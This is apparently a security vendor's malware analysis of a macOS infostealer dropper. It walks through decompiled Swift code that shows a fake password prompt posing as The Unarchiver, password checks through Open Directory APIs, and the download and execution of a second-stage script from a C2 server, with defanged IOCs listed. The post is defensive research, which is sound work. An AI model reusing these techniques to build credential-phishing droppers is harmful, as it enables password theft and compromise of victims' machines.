InfoStealer Uses SwiftUI, OpenDirectory API to Capture Passwords
On July 29, @4n6Bexaminer tweeted about a new macOS stealer. Moments later, Hunt.io tweeted about the same new malware and then released a blog post about it on July 30. That post focused primarily on the malicious bash scripts that were downloaded from the command-and-control (C2) server and then executed as the second stage.
We wanted to take a close look at the first stage—specifically at the stealer’s dropper, which is written in Swift and leverages APIs not seen in other recent stealers to capture and verify the user’s password. Many detection methods focus on OSAscript; this malware takes a different approach to evade detection.
Password Prompt
sub_1000061f8
We will start with the lock image seen in the prompt.
The lock image is initialized using the Image.init(_:bundle:)
call. The resizable
method is then passed, which returns a pointer to the Image view.
10000642c int64_t Image = Image.init(_:bundle:)('lock', 0xe400000000000000, 0)
<...>
100006468 int64_t resizeView = Image.resizable(capInsets:resizingMode:)(x22, Image, v0, v1, v2, v3)
The prompt text is created using StringInterpolation
and a function (which I renamed getNameOfApp
()) that queries for the name of the application.
10000658c LocalizedStringKey.Strin...(literalCapacity:interpolationCount:)(0x43, 1)
1000065ac // A user password must be entered to allow the "
1000065ac LocalizedStringKey.StringInterpolation.appendLiteral(_:)(-0x2fffffffffffffd2, -0x7ffffffeffff52d0)
1000065b0 int64_t AppName_3 = getNameOfApp()
1000065b8 LocalizedStringKey.StringInterpolation.appendInterpolation(_:)()
1000065c0 _swift_bridgeObjectRelease(AppName_3)
1000065dc // " application to run.
1000065dc LocalizedStringKey.StringInterpolation.appendLiteral(_:)(-0x2fffffffffffffeb, -0x7ffffffeffff52a0)
1000065e4 LocalizedStringKey.init(stringInterpolation:)(x20)
getNameOfApp()
This function uses the [NSBundle mainBundle]
object to query for the CFBundleDisplayName
inside the Info.plist of the application bundle. The binary that executes within this app bundle is called CryptoTrade
, but the prompt displays the name The Unarchiver, since that’s the value set for the CFBundleDisplayName.
Below is a portion of the Info.plist file in the application bundle that shows the value for the CFBundleDisplayName
key.
{
"BuildMachineOSBuild" => "23F79"
"CFBundleDevelopmentRegion" => "en"
"CFBundleDisplayName" => "The Unarchiver"
"CFBundleExecutable" => "CryptoTrade"
"CFBundleIconFile" => "AppIcon"
"CFBundleIconName" => "AppIcon"
"CFBundleIdentifier" => "Team-Apps.TheUnarchiver"
"CFBundleInfoDictionaryVersion" => "6.0"
"CFBundleName" => "CryptoTrade"
<...>
Because this function dynamically loads the name, this prompt can be used by other applications with a different CFBundleDisplayName
and masquerade as other legitimate applications.
Once the name is pulled from the Info.plist file, a Text view is created using StringInterpolation
, which allows strings to be combined dynamically: "A user password must be entered to allow the [AppName] application to run."
100006800 password, x1_13, x2_8, x3_4, v0_6 = LocalizedStringKey.init(stringLiteral:)('Password', 0xe800000000000000)
The default value in the password TextField
is initialized as a LocalizedStringKey
with the value Password
, to persuade the victim to enter their password.
10000686c SecureField<>.init(_:text:onCommit:)(nop, nop)
10000687c RoundedBorderTextFieldStyle.init()()
1000068e4 View.textFieldStyle<A>(_:)(x8_10, x0_2, x0_1, sub_1000099ac(&data_100010e68, &data_100010e48, protocol conformance descriptor for SecureField<A>), sub_1000096d8(&data_100010e70, type metadata accessor for RoundedBorderTextFieldStyle, protocol conformance descriptor for RoundedBorderTextFieldStyle))
The malware authors used a SecureField
view, which conforms to the TextField
protocol, to hide the password as the victim enters it, as they would for a legitimate application.
After the text is set up, there's a branch (which I’ve renamed buttonSetups()
) to set up the buttons in the prompt.
1000069a8 buttonSetups(arg1, x8_4 + sx.q(*(getTypeByMangledNameInContext2(&data_100010e78) + 0x2c)))
buttonSetups()
The first button seen in the prompt is for the Cancel button. Below is the disassembly for the Button.init
method that accepts a function, TerminateAppAction
, to run when the user clicks it.
100007018 60288cd2 mov x0, #0x6143
10000701c c06dacf2 movk x0, #0x636e, lsl #0x10
100007020 a08ccdf2 movk x0, #0x6c65, lsl #0x20 {'Cancel'}
100007024 01c0fcd2 mov x1, #0xe600000000000000
100007028 dd0a0094 bl LocalizedStringKey.init(stringLiteral:)
10000702c 42000012 and w2, w2, #0x1
100007030 04000090 adrp x4, 0x100007000
100007034 84e00991 add x4, x4, #0x278 {TerminateAppAction}
100007038 e80314aa mov x8, x20
10000703c 050080d2 mov x5, #0
100007040 280b0094 bl Button<>.init(_:action:)
The Button.init
method uses the small Swift string Cancel
. It is passed a closure (which we’ve renamed TerminateAppAction
), which loads the NSApp sharedAppInstance
and calls the terminate
method. This results in the application terminating if the user clicks the Cancel button in the prompt.
100007294 return _objc_msgSend(self: sharedAppInstance, cmd: "terminate:") __tailcall
Button<>.init(_:action:)(unicodeChars, sizeOfUnicodeChars, zx.q(x2_3 & 1), x3, passwordCheck, swiftArray)
Password Check
The second OK button is then initialized. Inside of the Button.init
method, a closure is passed that we’ve renamed passwordCheck
:
10000926c int64_t passwordCheck(void* arg1 @ x20)
100009270 return buttonAction(arg1 + 0x10) __tailcall
buttonAction()
This function then returns another function (renamed buttonAction
) that continues the setup. Inside this buttonAction
function, there’s password-checking behavior; completion of that triggers the download of malicious scripts.
To understand where the password that was passed to SecureField
lives at this point in the execution, we need to introduce the Swift property wrapper called State
. State
is used to read and write a value by SwiftUI. The password is tied to this @State
property wrapper. We can see evidence of this prior to the passwordChecker()
function call, in the name of State.wrappedValue.getter()
. This is a getter method for the value wrapped to State
.
1000072f8 State.wrappedValue.getter()
100007304 int64_t sizeOfPassword
100007304 int64_t password
100007304 int32_t IsPasswordCorrect = passwordChecker(sizeOfPassword, password)
passwordChecker()
Now we branch to a function I named passwordChecker
. It returns a Boolean value, which is checked to either request the password again or continue.
The passwordChecker()
function leverages Objective-C Open Directory APIs. (Open Directory is Apple’s version of the Lightweight Directory Access Protocol, LDAP. Every macOS system has an Open Directory database that contains important information about users and groups, including permissions to resources.) Let’s walk through the setup.
1000082bc int64_t passwordChecker(int64_t sizeOfPassword, int64_t password)
10000830c id defaultOD = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: _objc_opt_self(obj: _OBJC_CLASS_$_ODSession), cmd: "defaultSession"))
10000831c void* ODNode = _objc_allocWithZone(_OBJC_CLASS_$_ODNode)
100008328 id defaultODRetained = _objc_retain(obj: defaultOD)
100008340 void* localNode = OpenDirectorySetup(defaultOD, kODNodeTypeLocalNodes: 0x2200, ODNode)
100008390 id localNode_1 = localNode
The ODSession
object is loaded and passed the defaultSession
method to create a session object. An ODNode
object is then also loaded. Finally, these two objects are passed to another function, which I renamed OpenDirectorySetup
.
OpenDirectorySetup()
Inside this function, the Open Directory objects are used to initialize a new OD session of type Local
.
100007834 void* OpenDirectorySetup(int64_t defaultOD, int64_t kODNodeTypeLocalNodes, void* ODNode @ x20)
100007840 void* ODNode_1 = ODNode
100007860 int64_t x8 = *___stack_chk_guard
100007880 int64_t x4
100007880 void* LocalNode = _objc_msgSend(self: ODNode, cmd: "initWithSession:type:error:", defaultOD, kODNodeTypeLocalNodes, x4)
This function accepts three arguments: the default Open Directory object, the ODNode
object, and the value 0x2200
which is passed into a method as the value kODNodeTypeLocalNodes
; this is the node for the local directory of the macOS system.
Inside this function, the ODNode
object is used to call the initWithSession:type:error:
method, which creates a node object with a specified session and type. This node object is then checked by the caller for errors. If a localNode was successfully created it continues to build a record.
100008394 else
1000083a0 id currentUser = _objc_retainAutoreleasedReturnValue(obj: _NSUserName()
1000083a4 id currentUser_1 = currentUser
1000083a4
<...>
1000083d0 id _kODRecordTypeUsers = _objc_retain(obj: *_kODRecordTypeUsers)
<...>
10000841c id ODRecord = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: localNode_1, cmd: "recordWithRecordType:name:attributes:error:", _kODRecordTypeUsers, currentUser_1, NSArray, x5_1))
Executing the NSUserName()
function queries the current user. The _kODRecordTypeUsers
global variable is then used as a record type and passed to the recordWithRecordType:name:attributes:error:
method. This returns an Open Directory record.
After some error handling, the OD record is then passed the verifyPassword:error
method, along with the password which is converted to an NSString
that would be submitted by the victim.
100008440 else
100008448 _objc_retain(obj: obj_3)
100008454 int64_t passwordObject = String._bridgeToObjectiveC()(sizeOfPassword, password)
10000845c null = nullptr
100008474 int32_t passWordVerify = _objc_msgSend(self: ODRecord, cmd: "verifyPassword:error:", passwordObject, &null)
This verifyPassword:error:
method checks the captured password against the ODRecord for the /Local/Default dsAttrTypeStandard:AppleMetaNodeLocation
. /Local/Default
is the default directory database of the local computer. The password will be checked against this record, which would be the same password as the administrator and will return a 1
for true if successful.
The Open Directory Record appears to be used for password verification. In arm64 for Objective-C, X0
is used for the class object, X1
is used for the selector (method passed to the object), and X2
would be the first argument. objc_msgSend
is then called to handle the message-passing, and the result is returned in X0
.
Using the values seen in the registers above, we can visualize how the Objective-C would look:
[ODRecord verifyPassword: passwordCaptured error:&error]
Return to buttonAction()
After the password verification is complete, code execution returns to the buttonAction()
function to handle the result of the password checker.
If the password check returns false—indicating that it is not the correct password—then a branch to animate a shake for the prompt (which I named promptWiggle()
) will occur.
100007314 if ((IsPasswordCorrect & 1) == 0)
10000738c promptWiggle()
If the password is correct, the execution continues, and the sharedAppInstance
is queried using the NSApp()
function.
100007314 else
100007320 void* sharedAppInstance = *_NSApp
100007320
100007324 if (sharedAppInstance == 0)
1000073ac trap(1)
1000073ac
100007338 id mainWindow = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: sharedAppInstance, cmd: "keyWindow"))
100007348 _objc_msgSend(self: mainWindow, cmd: "close")
The keyWindow
object for the app is then passed to the close
method which would close the main app window.
sub_100008670: C2 Download Setup
This then leads to the download preparation for the bash scripts.
10000875c // hxxps[:]//cryptomac.dev/download/grabber[.]zip
10000875c URL.init(string:)(0xd00000000000002a, 0x800000010000ad80)
The C2 server is first seen being initialized as a URL type. Swift strings are structs, and this is an example of a large Swift string object, since the bridge object begins with 0xd
and contains the size of the string at the least significant bits of the object: 0x2a
.
{
0xd00000000000002a - Bridge Object
0x800000010000ad80 - Pointer to string before nibble added
}
The address of the string is at 0x10000ad80
+ 0x20
, to account for the nibble. We can use Binary Ninja to add the 0x20
nibble to the address of the string and see the URL for the C2 using the binary view (bv
) object and read method:
>>> bv.read(0x10000ad80+0x20, 0x2a)
b'hxxps[:]//cryptomac.dev/download/grabber[.]zip'
1000087ac id defaultMan = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: _objc_opt_self(obj: _OBJC_CLASS_$_NSFileManager), cmd: "defaultManager"))
1000087bc int64_t x25_1 = 1
1000087d0 id _~/Library/ = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: defaultMan, cmd: "URLsForDirectory:inDomains:", 5, 1))
1000087dc _objc_release(obj: defaultMan)
1000087e8 void* swiftArray = static Array._unconditionallyBridgeFromObjectiveC(_:)(_~/Library/, x0_1)
The defaultManager
object is created and passed the URLsForDirectory:inDomains:
method: [defaultManager URLsForDirectory:5 inDomains:1]
. This returns an NSArray
for the ~/Library path. This NSArray
is then passed to the Array._unconditionallyBridgeFromObjectiveC
function to be converted to a Swift array.
The URL path is then appended with the small Swift string grabber to set up the directory that will be used later.
100008874 URL.appendingPathComponent(_:)('grabber', 0xe700000000000000)
downloadFile()
After this setup, we branch to a function to download the zip file from the C2:
100008898 downloadFile(url, x23, sizeOfPassword, password)
This function (which we renamed) handles the download of the zip file from the C2.
100008584 id urlSession = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: _objc_opt_self(obj: _OBJC_CLASS_$_NSURLSession), cmd: "sharedSession"))
10000858c int64_t url = URL._bridgeToObjectiveC()()
1000085a4 void* swiftArray = _swift_allocObject(&data_10000c7c8, 0x20, 7)
1000085a8 *(swiftArray + 0x10) = sizeOfPassword
1000085a8 *(swiftArray + 0x18) = password
1000085b4 int64_t (* var_50)(int64_t arg1, int64_t arg2, int64_t arg3, void* arg4 @ x20) = branchToHandleDownload
1000085c0 int64_t (* const aBlock)() = __NSConcreteStackBlock
1000085cc int64_t var_68 = 0x42000000
1000085e0 int64_t (* var_60)(void* arg1, int64_t arg2, id arg3, id arg4) = sub_100005ea8
1000085e0 void* const var_58 = &data_10000c7e0
1000085e8 void* aBlock_1 = __Block_copy(&aBlock)
1000085f8 _swift_bridgeObjectRetain(password)
100008600 _swift_release(swiftArray)
100008620 id obj = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: urlSession, cmd: "downloadTaskWithURL:completionHandler:", url, aBlock_1))
An NSURL
session object is created, and the URL that was passed in is bridged to an NSURL. A block is set up that will be passed to the downloadTaskWithURL:completionHandler:
method. This block (which we renamed branchToHandleDownload
) sets up an NSTask
object to handle the file that is downloaded.
branchToHandleDownload()
A block was passed to the completionHandler
argument for the download task method. This block will execute after the download task is completed.
1000096b8 int64_t branchToHandleDownload(int64_t arg1, int64_t arg2, int64_t arg3, void* arg4 @ x20)
1000096bc return NSTask_setup(arg1, arg2, arg3, *(arg4 + 0x10), *(arg4 + 0x18)) __tailcall
This function returns a function (which we renamed NSTask_setup
).
NSTask_setup()
Inside this block, we have the setup for an NSTask
, which will spawn a child process to execute code to manage things after the download is completed.
Using the NSFileManager
class, a check for the grabber directory is completed. If the directory does not exist, it is created using the createDirectoryAtURL:withIntermediateDirectories:attributes:error:
method.
1000059e0 int32_t DoesDirectoryExist = _objc_msgSend(self: defMan, cmd: "fileExistsAtPath:", NSUrl: ~/Library/grabber)
1000059ec _objc_release(obj: NSUrl: ~/Library/grabber)
1000059ec
1000059f0 if ((DoesDirectoryExist & 1) != 0)
1000059f0 goto label_100005a4c
1000059f8 int64_t URL: ~/Library/grabber_1 = URL._bridgeToObjectiveC()()
100005a00 id null = nullptr
100005a20 int32_t directoryCreateSuccess = _objc_msgSend(self: defMan, cmd: "createDirectoryAtURL:withIntermediateDirectories:attributes:error:", URL: ~/Library/grabber_1, 1, 0, &null)
If the directory does already exist then there is a branch to 0x100005a4c
to continue execution.
100005a4c label_100005a4c:
100005a4c unzipAndDecode()
100005aa4 URL.appendingPathComponent(_:)('grabber', 0xe700000000000000)
100005ac8 URL.appendingPathComponent(_:)('main.sh', 0xe700000000000000)
Once that creation is completed (or if the directory already exists), a branch to a function for unzipping the file downloaded and decoding the contents of the file is completed. The path to the main script will be ~/Library/grabber/main.sh.
unzipAndDecode()
This function prepares an NSTask call to unzip the file that is downloaded, since this function is part of the block that was passed to the completionHandler for the URLSession object.
100008998 void* task = -[_TtC11CryptoTrade11AppDelegate init](self: _objc_allocWithZone(_OBJC_CLASS_$_NSTask), sel: "init")
1000089c4 URL.init(fileURLWithPath:)('/usr/bin', '/unzip\x00\xee')
1000089c8 int64_t _/usr/bin/unzip = URL._bridgeToObjectiveC()()
1000089d0 (*(x19 + 8))(x20, x0_2)
1000089f0 _objc_msgSend(self: task, cmd: "setExecutableURL:", _/usr/bin/unzip)
The NSTask
object is passed the setExecutableURL:
method for the path /usr/bin/unzip. The argument array used by the unzip command is set up here:
100008a10 argArray, v0 = _swift_allocObject(getTypeByMangledNameInContext2(&data_100010ec0), 0x50, 7)
100008a20 *(argArray + 0x10) = data_10000a200
100008a28 int64_t x0_9
100008a28 int64_t x1_2
100008a28 x0_9, x1_2 = URL.path.getter()
100008a2c *(argArray + 0x20) = x0_9
100008a2c *(argArray + 0x28) = x1_2
100008a38 *(argArray + 0x30) = '-d'
100008a38 *(argArray + 0x38) = 0xe200000000000000
100008a40 int64_t url
100008a40 int64_t sizeOFURL
100008a40 url, sizeOFURL = URL.path.getter()
100008a44 *(argArray + 0x40) = url
100008a44 *(argArray + 0x48) = sizeOFURL
100008a58 int64_t argArray_1 = Array._bridgeToObjectiveC()(argArray, type metadata for String)
100008a64 _swift_release(argArray)
100008a78 _objc_msgSend(self: task, cmd: "setArguments:", argArray_1)
For the NSArray
arguments that are passed to the setArguments
method, a Swift array is allocated and set up with the -d
argument and path. Once the NSTask
object is set up and executed, execution is returned to the caller which continues another NSTask setup.
100005bd8 void* task = _objc_allocWithZone(_OBJC_CLASS_$_NSTask)
100005be4 _objc_retain(obj: obj_8)
100005bf4 id obj_3 = -[_TtC11CryptoTrade11AppDelegate init](self: task, sel: "init")
100005c00 int64_t pathToDownloadedScript = URL._bridgeToObjectiveC()()
100005c18 _objc_msgSend(self: obj_3, cmd: "setExecutableURL:", pathToDownloadedScript)
100005c20 _objc_release(obj: pathToDownloadedScript)
Once unzipped, the script is targeted using the URL object ~/Library/grabber/main.sh, which is passed to the setExecutableURL
method. This begins the second stage of the malware chain.
Recap
This dropper differs from other recent stealers by leveraging swiftUI for the prompt creation, by using Open Directory APIs for verifying the captured user password, and by primarily using APIs to complete actions that would not generate process events.
IOCs
- 122877b338ec943ac0b33dcedc973aab6db48dd93cd30263255a7e7351ee60e6 (mach-O)
- hxxps[:]//cryptomac.dev/download/grabber[.]zip (Stage 2 C2)
- hxxp[://]81.19.137[.]179/api/index.php (data exfil C2)
About Kandji
Kandji is the Apple device management and security platform that empowers secure and productive global work. With Kandji, Apple devices transform themselves into enterprise-ready endpoints, with all the right apps, settings, and security systems in place. Through advanced automation and thoughtful experiences, we’re bringing much-needed harmony to the way IT, InfoSec, and Apple device users work today and tomorrow.
See Kandji in Action
Experience Apple device management and security that actually gives you back your time.
See Kandji in Action
Experience Apple device management and security that actually gives you back your time.